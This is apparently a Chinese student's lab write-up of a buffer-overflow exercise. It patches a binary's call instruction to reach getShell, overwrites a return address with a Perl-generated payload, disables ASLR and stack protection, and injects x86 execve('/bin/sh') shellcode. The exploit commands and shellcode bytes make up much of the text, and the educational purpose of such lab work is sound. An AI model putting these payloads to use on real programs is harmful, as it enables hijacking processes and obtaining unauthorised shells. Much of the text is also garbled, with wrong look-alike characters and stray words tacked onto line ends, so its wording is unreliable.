NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不作,仅仅当作一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)shell
JNE:条件转移指令,若是不相等则跳转。(机器码:75)编程
JE:条件转移指令,若是相等则跳转。(机器码:74)vim
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)网络
CMP:比较指令,功能至关于减法指令,只是对操做数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其余相关指令经过识别这些被影响的标志寄存器位来得知比较结果。dom
objdump -d xxx
可进行反汇编。函数
:%!xxd
转换成16进制。spa
对于我这种汇编学的很差的人来讲,我不会直接修改机器指令,老师告诉了咱们不会也能够猜想的方法:咱们先用foo的地址减去getshell,获得差值。咱们知道,对于机器指令“e8 d7ffffff”,e8即跳转之意,因此能够修改的即是“d7ffffff”,显然咱们要修改d7,因此给d7减去差值0X14获得c3。操作系统
根据如下步骤在vi中进行修改3d
1.按ESC键 2.输入以下,将显示模式切换为16进制模式 :%!xxd 3.查找要修改的内容 /e8 d7 4.找到后先后的内容和反汇编的对比下,确认是地方是正确的 5.修改d7为c3 6.转换16进制为原格式 :%!xxd -r 7.存盘退出vi :wq
gdb 20155205gwm
进行调试,run程序以后输入“1111111122222222333333334444444455555555”进行试验,出现了调试
Program received signal SIGSEGV, Segmentation fault.
的错误。咱们接着输入
info r
来查看各个寄存器的值。能够看到eip的值为5。
2015四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给20155205pwn,20155205pwn就会运行getShell。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成包括这样字符串的一个文件。
install
命令安装命令安装execstack。
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行 root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space //查看地址随机化 2 root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 0
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
一、输入
(cat input_shellcode;cat) | ./pwn2
攻击buf,
找到pwn1的进程号是:3067。
二、启动gdb调试这个进程。经过设置断点,来查看注入buf的内存地址。
最后成功攻击!
问题一解决方案:网络配置发生了错误,需修改DNS和IP配置。
问题二:为何第二个实验中eip显示为0x35353535时说她的值为都是5?
问题二解决方案:怪我本身把学的都忘了,这是由于机器存储的是ascii码值!包括后来为何输入“\x7d\x84\x04\x08\x0a”也是同样的道理!
缓冲区溢出是一种很是广泛、很是危险的漏洞,在各类操做系统、应用软件中普遍存在。利用缓冲区溢出攻击,能够致使程序运行失败、系统宕机、从新启动等后果。更为严重的是,能够利用它执行非受权指令,甚至能够取得系统特权,进而进行各类非法操做。